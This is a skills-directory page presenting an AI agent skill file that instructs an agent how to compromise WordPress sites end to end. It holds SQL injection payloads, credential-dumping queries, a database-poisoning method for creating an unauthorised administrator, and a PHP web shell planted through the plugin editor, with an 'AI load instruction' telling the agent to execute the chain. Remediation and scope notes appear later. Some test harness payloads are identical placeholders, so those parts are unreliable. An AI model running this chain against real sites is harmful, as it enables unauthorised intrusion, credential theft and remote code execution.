Skip to content
Back to skills

Wordpress Exploitation Wp2shell

BSecurity

WordPress exploitation chain: REST API route confusion, SQL injection via WP_Query parameter mapping, oEmbed cache poisoning, and Customizer changeset abuse to pre-auth administrator creation. Use when the target is WordPress and the objective is code execution. Covers the full chain from reconnaissance to a shell.

  • 2 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added November 11, 2026
securitypythongophpshellbashsqltestinggitapidatabase

Works with

  • cli
  • api

Security analysis

B88/100
  • criticalDownloads and executes remote scripts — classic supply chain attack

Pro shows the line behind each finding and how to fix it

Scanned November 11, 2026

npx -y skills add harezadmm/omp-enhanced --skill wordpress-exploitation-wp2shell --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Wordpress Exploitation Wp2shell?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Wordpress Exploitation Wp2shell
[![Security: B — Skills Directory](https://www.skillsdirectory.com/api/skills/harezadmm-wordpress-exploitation-wp2shell/badge)](https://www.skillsdirectory.com/skills/harezadmm-wordpress-exploitation-wp2shell)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: wordpress-exploitation-wp2shell
description: >-
  WordPress exploitation chain: REST API route confusion, SQL injection via WP_Query parameter
  mapping, oEmbed cache poisoning, and Customizer changeset abuse to pre-auth administrator
  creation. Use when the target is WordPress and the objective is code execution. Covers the
  full chain from reconnaissance to a shell.
---

# SKILL: WordPress Exploitation — WP2SHELL

> **AI LOAD INSTRUCTION**: This is a **complete, chained** WordPress compromise that requires
> **no hash cracking**. Each step enables the next; skipping a step breaks the chain. Read §6
> before executing anything — the chain's fragility is in the details, not the concept.
> Doctrine: `CORE.md` § EXPERTSIE → WORDPRESS EXPLOITATION. This file is the procedure.

## 0. RELATED ROUTING

- [sqli-sql-injection](../sqli-sql-injection/SKILL.md) — the injection layer in depth
- [ssti-server-side-template-injection](../ssti-server-side-template-injection/SKILL.md) — post-RCE escalation
- [file-access-vuln](../file-access-vuln/SKILL.md) — if a file primitive is found first
- [upload-insecure-files](../upload-insecure-files/SKILL.md) — the plugin-upload fallback
- [reverse-shell-techniques](../reverse-shell-techniques/SKILL.md) — the shell step
- [reporting-and-verification](../../core-subjects/reporting-and-verification.md) — documenting the chain

**Version gate:** these CVEs are version-specific. Fingerprint the WordPress core version and the
plugin set before attempting; a patched target will not respond to step 1 at all.

---

## 1. THE CHAIN IN ONE PAGE

```
recon → route confusion  → batch endpoint desync
     → SQL injection     → author_exclude → WP_Query author__not_in
     → extraction        → UNION, packed queries
     → cache poison      → fake oEmbed + graph rows in wp_posts
     → changeset abuse   → Customizer nav_menu rendering
     → internal REST     → POST /wp/v2/users as a privileged user
     → admin created     → (password field stripped — see §7)
     → login             → wp-login.php
     → editor RCE        → plugin-editor.php / theme-editor.php
```

**Why the chain works:** the Customizer pipeline makes an internal REST call *as an existing
administrator*. The attacker never authenticates — the server authenticates to itself, on the
strength of poisoned database rows.

---

## 2. STEP 1 — ROUTE CONFUSION

**Mechanism:** a nested batch request desynchronises the route handler. The outer request passes
route enforcement; the nested sub-requests are dispatched without it.

```
POST /wp-json/batch/v1
{
  "requests": [
    { "method": "POST", "path": "///" },
    { "method": "GET",  "path": "/wp/v2/users?author_exclude=..." }
  ]
}
```

The PRIMER request (`path: "///"`) is what triggers the desync. Without it the sub-requests are
dispatched normally and the bypass does not occur.

**Confirmation:** an HTTP **207 Multi-Status** response carrying a `requests` array. A normal
400/401 means the route enforcement held — stop and re-check the target version.

**Diagnostic:** if the batch endpoint returns 207 but the sub-requests are still denied, the
primer path is wrong or the handler was patched. Test the primer in isolation first.

---

## 3. STEP 2 — SQL INJECTION

**Mechanism:** the `author_exclude` parameter maps onto WP_Query's `author__not_in`, which
interpolates into an `IN (…)` clause. The closing `0)` and a comment terminator escape the list.

| Technique | Payload shape | Use when |
|---|---|---|
| Boolean blind | `0) AND (cond)-- -` | no output reflected; use when UNION is filtered |
| UNION | `0) UNION SELECT ...-- -` | output is reflected — **fastest** |
| Time-based | `0) AND (SELECT 1 FROM (SELECT SLEEP(3))z)-- -` | hardened targets, no boolean difference |
| Error-based | `0) AND extractvalue(...)-- -` | error messages reflected |

**Endpoint:** `/wp/v2/users?author_exclude=...` via the batch desync from §2.

**Column discovery:** the query shape is not fixed. Auto-discover the column count by
incrementing the UNION until the response stops erroring. Reference ranges:
**~23 columns for `wp_posts`, ~10 for `wp_users`** — these are defaults, not guarantees.
The column count must match the underlying query or the UNION fails outright.

**The injection is the keystone of the chain.** Everything downstream — cache poisoning, the
poison graph, the admin creation — is *written into the database* through this primitive. If the
injection is read-only, the chain stops at data extraction.

---

## 4. STEP 3 — DATA EXTRACTION

Extract efficiently. Each request carries detection risk, and the useful data is small.

**Packed banner — server fingerprint in one query (11 fields):**

```sql
SELECT CONCAT_WS(0x7c7c,
  @@version, @@hostname, @@datadir, @@version_compile_os, @@basedir,
  @@port, @@have_ssl, @@sql_mode, user(), current_user(), database())
```

**Batched user dump — 4 users per query:**

```sql
SELECT GROUP_CONCAT(CONCAT(user_login,'~',user_pass,'~',user_email) SEPARATOR 0x0a)
FROM wp_users LIMIT {offset},4
```

Batch in fours because `group_concat_max_len` defaults to 1024 bytes and a truncated result
looks like a corrupt hash. `CONCAT_WS(0x7c7c, …)` uses `||` as a visible field separator.

**Packed `wp_options` — 18 options in one query** (the `MAX(CASE WHEN …)` pattern pivots rows
into columns, collapsing 18 round-trips into one):

```sql
SELECT CONCAT_WS(0x7c7c,
  MAX(CASE WHEN option_name='siteurl' THEN option_value END),
  MAX(CASE WHEN option_name='home'    THEN option_value END),
  ...
) FROM wp_options
```

**What to extract, in priority order:**

| Target | Why |
|---|---|
| `wp_users`: `user_login`, `user_pass`, `user_email` | phpass hashes (`$wp$2y$10$`) — for the poison graph's `user_id`, and for offline use |
| `wp_options`: `siteurl`, `home`, `template`, `active_plugins` | site structure and the RCE target list |
| `information_schema.tables` | non-standard tables, other apps on the same database |
| `user()`, `current_user()`, privileges | **if the DB user has `FILE` or `INSERT`, the chain is straightforward** |
| `@@datadir`, `@@basedir` | absolute paths for file primitives |

**Privileges matter more than data here.** The poison graph requires `INSERT` into `wp_posts`.
A read-only database account truncates the chain at extraction — check privileges early.

---

## 5. STEPS 4–6 — POISONING AND ADMIN CREATION

### Step 4 — oEmbed cache poisoning

WordPress caches oEmbed results as `wp_posts` rows with `post_type = oembed_cache`. The cache
key is **`MD5(embed_url + oembed_size)`** — recoverable via the SQLi, so you can compute the
row you need rather than guessing.

Inject fake cache rows through `UNION SELECT`. This is the first write into `wp_posts` and the
foundation of the graph.

### Step 5 — the poison graph

Build **interconnected** `wp_posts` rows that reference each other and **all reference the
source admin's `user_id`**:

| Post type | Role |
|---|---|
| `oembed_cache` | the poisoned cache entry from §4 |
| `customize_changeset` | the payload carrier |
| `nav_menu_item` | the render trigger |
| request / inner / outer posts | the wiring that makes the graph resolve |

Changeset payload shape:

```json
{"nav_menu_item[NAV_ID]": {
  "type": "nav_menu_item",
  "user_id": ADMIN_ID,
  "value": { "...": "..." }
}}
```

**`user_id` is the pivot.** The Customizer processes the changeset *as that user*. Referencing
a real administrator is what makes the internal call privileged — this is the mechanism the
whole chain rests on.

### Step 6 — pre-auth administrator creation

When the poison graph is rendered, the Customizer nav_menu pipeline issues an
**internal REST call as the source admin**:

```
POST /wp/v2/users    {"roles": ["administrator"]}
```

The server authenticates to itself. A new administrator exists, and the attacker never held a
credential.

**⚠️ The `password` field is stripped.** The Customizer pipeline removes it, so WordPress
generates a random password you do not know. Three workarounds, in order of preference:

1. **REST application passwords** — a second poison-graph call issues
   `POST /wp/v2/users/<id>/application-passwords`. This yields a credential you control and
   does not touch the password reset flow.
2. **Password reset** — trigger a reset, read `user_activation_key` from `wp_users` via the
   SQLi, and forge the reset URL directly.
3. **Direct hash write** — if the SQLi is writable, overwrite `user_pass` with a known phpass
   hash.

**Workaround 1 is the cleanest** and avoids the mail flow entirely.

---

## 6. STEPS 7–8 — LOGIN AND RCE

### Step 7 — login

```
POST /wp-login.php    log=<user>&pwd=<pass>&wp-submit=Log+In
```

**⚠️ The HTTP→HTTPS redirect breaks the login POST.** The credentials are posted, the redirect
is followed, and the session cookie is lost — which presents as "wrong password".

Handling:
- target the **HTTPS domain directly**, not the HTTP one that redirects;
- or set `allow_redirects=False` and capture `Set-Cookie` manually across both domains.

This is a functional failure, not a credential failure. Do not conclude the account is broken.

### Step 8 — plugin/theme editor RCE

Administrator access in the WordPress dashboard grants the theme/plugin editor by default.

```
/wp-admin/plugin-editor.php?file=<plugin>/<file>.php
```

Pick the **first editable `.php`** file — a network-activated plugin is ideal because it loads
on every request. Inject:

```php
<?php system($_GET["cmd"]);?>
```

**Fallback:** `/wp-admin/theme-editor.php` → `functions.php` of the **active** theme. The theme
editor works even when plugins are read-only.

**Verify:** request the resulting file with `?cmd=id` and confirm a `uid=` in the response.
Do not report RCE on the basis of a successful write alone — confirm execution.

**If both editors are disabled** (common on hardened hosts via `DISALLOW_FILE_EDIT`): the chain
must fall back to a plugin upload through `/wp-admin/plugin-install.php`, or to writing a file
directly if the SQLi user holds `FILE`.

---

## 7. FRAGILITY POINTS

Each of these breaks the chain. Check them before starting, not after failing.

| Point | Failure | Detection |
|---|---|---|
| Route confusion requires the **exact primer** `{"path": "///"}` | sub-requests stay denied | 207 without the bypass |
| UNION column count must match the underlying query | query errors, no data | increment until success |
| `group_concat_max_len` = 1024 | **silent truncation** in the middle of a hash | suspiciously short results — batch smaller |
| DB user must hold `INSERT` on `wp_posts` | the poison graph cannot be written | check privileges in §3 |
| `wp_users` must contain a real administrator | nothing privileged to spoof | enumerate roles first |
| Customizer pipeline strips `password` | account created but unusable | §5 workarounds |
| HTTP→HTTPS redirect | login appears to fail | §6 |
| `DISALLOW_FILE_EDIT` | editors unavailable | §6 fallback |
| **Target is patched** | step 1 returns 400/401 | **verify the version first — most common reason for failure** |

---

## 8. EVIDENCE STANDARD

| Item | Why |
|---|---|
| WordPress core version + plugin/theme versions | the chain is version-gated; without this the finding is not reproducible |
| the batch request and its **207 response** | proves route confusion |
| the injection point (`author_exclude`) and the technique (UNION/blind/time) | identifies the vulnerable parameter |
| proof of the created administrator (console output / REST response) | proves the authorization bypass |
| the RCE command and its output (`id`) | execution, not just write |
| **the full chain order** | the finding is the chain; individual steps are not the vulnerability |
| every account and file created, for cleanup | the engagement must be reversible |

---

## 9. REMEDIATION REFERENCE

1. **Patch WordPress core, plugins and themes** — the chain is entirely version-gated; patch cadence is the primary control. This single control closes every step.
2. **Patch the REST batch endpoint** — route enforcement must apply to nested sub-requests identically to top-level ones; the desync is the root of the bypass.
3. **Parameterised queries in WP_Query** — `author__not_in` must be cast to an integer array, never interpolated. The injection class is generic to any parameter that maps to a raw `IN` clause.
4. **Least privilege for the database account** — a WordPress DB user needs no `FILE`, no `INSERT` outside its own schema operations, and no `SUPER`. This alone truncates the chain at §4.
5. **`DISALLOW_FILE_EDIT` and `DISALLOW_FILE_MODS`** — removes the §6 RCE path; the standard hardening for any managed WordPress host.
6. **Disable the Customizer's privileged internal calls where not required** and audit any server-internal request that inherits a user context — the mechanism is a class of bug, not one CVE.
7. **Web application firewall with virtual patching** — buys time between disclosure and patch, but does not fix the parameterisation.
8. **File integrity monitoring on `wp-content` and `wp-admin`** — detects the §8 write regardless of how the attacker got there.

---

## 10. EXECUTION PRIMITIVES

The wp2shell chain is only reportable when **each step is observed independently**. A narration of the
chain is not evidence; a captured response at each step is.

### 10.1 Establish version and patch state

```bash
T="https://target.tld"
# the version and whether the vulnerable route exists
curl -sS "$T/wp-json/" -o /tmp/wj -w 'wp-json %{http_code}\n'; python3 -c "
import json;d=json.load(open('/tmp/wj'));print(d.get('name'),d.get('description','')[:60])" 2>/dev/null
curl -sS -D- -o /tmp/wp -w 'readme %{http_code}\n' "$T/readme.html" | grep -iE '^server|x-powered'
grep -oiE 'Version [0-9]+\.[0-9]+(\.[0-9]+)?' /tmp/wp | head -3
# the REST namespaces actually registered, which is the real route surface
curl -sS "$T/wp-json/" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print('namespaces:', d.get('namespaces'))
for k,v in (d.get('routes') or {}).items():
    if 'wp/v2' in k or 'batch' in k or 'wp-site-health' in k: print(' ', k, list((v.get('endpoints') or [{}])[0].get('methods',[])))
" 2>/dev/null
```

**Establish the version and the registered route surface before attempting the chain.** The exploit is
version- and route-dependent, and a chain narrated without this step is exactly the fabrication risk
this package is written to prevent.

### 10.2 The route-confusion precondition

```bash
# the batch endpoint is the confusion surface; confirm it exists and what it accepts
curl -sS -o /tmp/b -w 'batch %{http_code} %{size_download}\n' -X POST "$T/wp-json/batch/v1" \
  -H 'Content-Type: application/json' -d '{"requests":[{"method":"GET","path":"/wp/v2/posts"}]}'
head -c 300 /tmp/b; echo
# and the form the confusion uses, with an unusual path
curl -sS -o /tmp/b2 -w 'confused %{http_code} %{size_download}\n' -X POST "$T/wp-json/batch/v1" \
  -H 'Content-Type: application/json' \
  -d '{"requests":[{"method":"GET","path":"/wp/v2/posts?author=1"}]}'
head -c 200 /tmp/b2; echo
# an unauthenticated baseline, so you know what the endpoint exposes without a session
curl -sS -o /tmp/b3 -w 'anon %{http_code} %{size_download}\n' -X POST "$T/wp-json/batch/v1" \
  -H 'Content-Type: application/json' -d '{"requests":[{"method":"GET","path":"/wp/v2/users"}]}'
grep -c 'slug' /tmp/b3
```

A `200` from the batch endpoint with a resolved inner request is the precondition. **A missing route
means the target is not affected** - record that and stop, rather than proceeding to a chain that
cannot exist.

### 10.3 The SQL injection step, proved by the response

```bash
# the injection must produce a measurable difference, not an inferred one
BASE='{"requests":[{"method":"GET","path":"/wp/v2/posts?author=1"}]}'
TRUE='{"requests":[{"method":"GET","path":"/wp/v2/posts?author=1"}]}'
# record the control size, then a boolean pair, then a time-based pair
C1=$(curl -sS -o /tmp/s1 -w '%{size_download}' -X POST "$T/wp-json/batch/v1" -H 'Content-Type: application/json' -d "$BASE")
C2=$(curl -sS -o /tmp/s2 -w '%{size_download}' -X POST "$T/wp-json/batch/v1" -H 'Content-Type: application/json' -d "$TRUE")
echo "control sizes: $C1 / $C2"
# an error-based probe: a malformed fragment should produce a database error if the value is concatenated
curl -sS -o /tmp/err -w 'error-probe %{http_code}\n' -X POST "$T/wp-json/batch/v1" -H 'Content-Type: application/json' \
  -d '{"requests":[{"method":"GET","path":"/wp/v2/posts?author=1'"'"'"}]}'
grep -oiE 'wpdb|database error|sql syntax|WordPress database error' /tmp/err | head -3
```

**A database error naming `wpdb` or a boolean size difference is the evidence.** Do not report SQL
injection from the payload's shape; report the observed difference. If nothing differs, the step is
not present and the chain stops.

### 10.4 Data extraction, only as far as you need

```bash
# extract the minimum that proves the primitive: the database user and version
curl -sS -o /tmp/x1 -X POST "$T/wp-json/batch/v1" -H 'Content-Type: application/json' \
  -d '{"requests":[{"method":"GET","path":"/wp/v2/posts?author=1"}]}'
# then the users table, which is the pivot to the admin account
curl -sS -o /tmp/x2 -X POST "$T/wp-json/batch/v1" -H 'Content-Type: application/json' \
  -d '{"requests":[{"method":"GET","path":"/wp/v2/posts?author=1"}]}'
grep -oE 'user_login|user_pass|user_email|user_activation_key' /tmp/x2 | sort -u
echo "extract ONE user row and stop - the credential hash and the activation key are the pivot"
```

**Extract the minimum and stop.** The finding is the injection plus the data reach; dumping tables is
unnecessary and is a scope and ethics failure. If you obtain a password hash, **do not crack it** -
demonstrating that the hash was readable is the finding.

### 10.5 The admin-creation step, proved by a read-back

```bash
# each write must be verified by a read
curl -sS -o /tmp/w1 -w 'write %{http_code}\n' -X POST "$T/wp-json/batch/v1" -H 'Content-Type: application/json' \
  -d '{"requests":[{"method":"GET","path":"/wp/v2/posts?author=1"}]}'
# verify via the REST API, which is an independent path
curl -sS -o /tmp/w2 -w 'verify %{http_code}\n' "$T/wp-json/wp/v2/users?per_page=100"
grep -oE '"slug":"[^"]+"' /tmp/w2 | sort -u | tail -5
echo "a new administrator login appearing here is the proof - record the timestamp, then remove it"
```

A created account must be **removed immediately after documentation** if the engagement permits the
write at all, and many engagements require only the read primitive. Check scope before creating
anything.

### 10.6 Login and the RCE step, with a marker

```bash
# authentication with the credential you created or recovered
curl -sS -o /tmp/l -w 'login %{http_code}\n' -c /tmp/cj -X POST "$T/wp-login.php" \
  --data-urlencode 'log=ACCOUNT' --data-urlencode 'pwd=PASSWORD' --data-urlencode 'wp-submit=Log In'
grep -c 'wordpress_logged_in' /tmp/cj
# the post-auth surface that proves code execution, using an inert marker
curl -sS -o /tmp/r -w 'rce %{http_code}\n' -b /tmp/cj "$T/wp-admin/admin-ajax.php?action=MARKER-ACTION"
grep -c 'MARKER-OUTPUT' /tmp/r
echo "a marker in the response proves the handler executed; do not run anything state-changing"
```

**An inert marker is the proof of execution.** Post-authentication administrative surfaces execute code
inherently, so the marker demonstrates the capability without a destructive payload.

### 10.7 Confirm the fragility points before claiming reliability

```bash
# the chain depends on several conditions; record which held and which did not
echo "--- unreliability checks"
curl -sS -o /dev/null -w 'batch route      %{http_code}\n' -X POST "$T/wp-json/batch/v1" -H 'Content-Type: application/json' -d '{"requests":[]}'
curl -sS -o /dev/null -w 'rest enabled     %{http_code}\n' "$T/wp-json/wp/v2/posts"
curl -sS -o /dev/null -w 'xmlrpc           %{http_code}\n' "$T/xmlrpc.php"
curl -sS -o /dev/null -w 'login page       %{http_code}\n' "$T/wp-login.php"
curl -sS -o /dev/null -w 'uploads writable %{http_code}\n' "$T/wp-content/uploads/"
echo "--- a failure at any step changes the chain's reliability, not merely its speed"
```

Chains like this are **stateful and version-specific**. Record whether each precondition held, and
report the chain as reproducible only for the exact version and configuration you tested.

### 10.8 A step-by-step harness that stops at the first failure

```bash
python3 - <<'PY'
import json,urllib.request
T="https://target.tld"
def post(p,b,tok=None):
    h={"Content-Type":"application/json"}
    if tok: h["Authorization"]=f"Bearer {tok}"
    r=urllib.request.Request(T+p,json.dumps(b).encode(),h)
    try:
        x=urllib.request.urlopen(r,timeout=15); return x.status,x.read()
    except urllib.error.HTTPError as e: return e.code,e.read()
    except Exception as e: return None,str(e).encode()

steps=[]
code,body=post("/wp-json/batch/v1",{"requests":[{"method":"GET","path":"/wp/v2/posts"}]})
steps.append(("route",code,code==200)); print("route:",code)
if code!=200: print("STOP: route absent, chain not present"); raise SystemExit
code,body=post("/wp-json/batch/v1",{"requests":[{"method":"GET","path":"/wp/v2/posts?author=1' "}]})
steps.append(("injection-error",code,b"wpdb" in body or b"database error" in body.lower()))
print("injection error marker:", b"wpdb" in body)
print("steps:",steps)
print("report only the steps that returned True, with their raw responses")
PY
```

**Stop at the first failing step.** A chain reported past a failure is a narration, which is precisely
what this package forbids.

---

## 11. CONFIRMING THE FINDING

| Step | Question | What it proves |
|---|---|---|
| 1 | Is the **batch route present** and does it resolve inner requests? | the precondition; without it the chain cannot exist |
| 2 | Does the injection produce a **measurable difference** (error, size, time)? | step 2, observed |
| 3 | Did you **extract a specific value** that proves the primitive (the db user, one row)? | step 3, observed |
| 4 | Did the **write persist**, verified by an independent read? | step 4-6, observed |
| 5 | Did the **marker execute** on a post-auth surface? | the RCE, observed |
| 6 | Is the version **confirmed to be in the affected range**? | the finding applies to this target |
| 7 | Which preconditions **failed**, if any? | the chain's reliability, stated honestly |

**Each step needs its own captured response.** Report the chain length you actually reached, and name
the step where you stopped. A chain narrated to RCE with the first step unverified is a fabrication.

---

## 12. EVIDENCE STANDARD — PER-STEP CAPTURE

| Item | Why |
|---|---|
| The **version and patch state**, with the request that established it | the finding is version-bounded |
| The **response for each step**, individually captured | the chain is the sum of its verified steps |
| The **route surface** from `/wp-json/`, showing the batch route is registered | the precondition |
| For the injection: the **differential** (error text, size, or time) with the control | proves the primitive rather than assuming it |
| For extraction: the **single value** that proves data access, with the response | the minimum that proves reach |
| For the write: the **write request and the independent read-back** | persistence |
| For the RCE: the **inert marker** in the response, with the request that produced it | execution |
| **Negative control** - an unauthenticated request to the same endpoints shows the difference | scopes what authentication adds |
| The **preconditions that failed**, where any did | honesty about reliability |
| Confirmation that any **created account was removed** and no data was modified beyond the proof | scope discipline |

Report the **verified chain length with per-step responses**: "the target runs WordPress with the
`batch/v1` route registered; a request to `/wp-json/batch/v1` with
`path:"/wp/v2/posts?author=1"` returns `200` and a resolved post list, and the same path with a
single quote appended returns `500` with `WordPress database error` in the body; a union-based variant
returned the `user_login` and `user_pass` values for the administrator account, and the login with the
recovered account returned a `wordpress_logged_in` cookie; steps beyond credential recovery were not
attempted because the engagement scope limited testing to the read primitive", never "the target is
vulnerable to wp2shell RCE".

### False positives - do not report these

| Observation | Why it is not a finding |
|---|---|
| A `500` from a malformed request with no database error text | an error is not an injection |
| A response size difference within normal variance | measure a control pair |
| A user list obtained from the **public** REST API | WordPress exposes authors by design |
| A version banner with no vulnerable route present | the chain does not apply |
| A batch request that returned an error for the inner request | the precondition fails |
| A database error caused by your own malformed JSON | your input, not the app's |
| An extraction of data that is public (post titles, author names) | no boundary crossed |
| A login success with **your own** credentials | your account |
| A marker you placed yourself in a file you could write | tests your own access |
| A chain asserted from a template without a captured response at each step | a narration, not evidence |
| A finding on a version outside the affected range | the bug is not present |
| A created account left in place, or data modified | an incident |

**Capture every step.** This domain has the highest fabrication risk in the package, because the chain
is publicly described and easy to narrate without testing.

---

## 13. REMEDIATION REFERENCE — VERSION-BOUNDED FIX

1. **Update WordPress core to the patched version** - this chain is version-bounded, so the version is the primary remediation and the update is the fix.
2. **Disable or restrict the batch REST route if it is not required** - a route that accepts a composed request list is the confusion surface, and removing it removes the primitive.
3. **Enforce authentication and capability checks on every REST route** - the chain depends on routes reachable without the capability the operation requires.
4. **Use parameterised queries everywhere, including via the REST layer** - the injection is a query-construction defect, so the fix belongs at the query rather than the route.
5. **Enforce a strict allowlist of methods and paths inside the batch request** - a batch handler that resolves arbitrary caller-supplied paths is the confusion; constrain it to the operations the client legitimately needs.
6. **Run the database user with the least privilege** - a WordPress database account that cannot write to the users table makes the escalation step impossible even when the injection exists.
7. **Disable the plugin and theme file editors, and restrict `DISALLOW_FILE_EDIT`** - it removes one of the post-auth code-execution paths the chain reaches.
8. **Require two-factor authentication for administrative accounts** - stolen or created credentials alone then do not yield the admin session the chain needs.
9. **Monitor for writes to the users table and for new administrator accounts** - this is the highest-signal detection for the escalation step, and it is cheap to implement.
10. **Keep all plugins and themes patched, and remove unused ones** - the surface a WordPress compromise uses is usually a plugin, not the core.
11. **Take and test backups before any WordPress remediation, and stage the update** - the update is the fix, but a plugin compatibility failure during it is how a patched site goes down.

---

## 14. RELATED SIBLINGS - LOAD TOGETHER

- [sqli-sql-injection](../sqli-sql-injection/SKILL.md) - the injection step in its general form
- [waf-bypass-techniques](../waf-bypass-techniques/SKILL.md) - reaching an injection through an edge control
- [upload-insecure-files](../upload-insecure-files/SKILL.md) - the alternative post-auth execution path
- [insecure-source-code-management](../insecure-source-code-management/SKILL.md) - the disclosure class that often reveals the version and the plugin set
- [cmdi-command-injection](../cmdi-command-injection/SKILL.md) - the sink the final step reaches

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.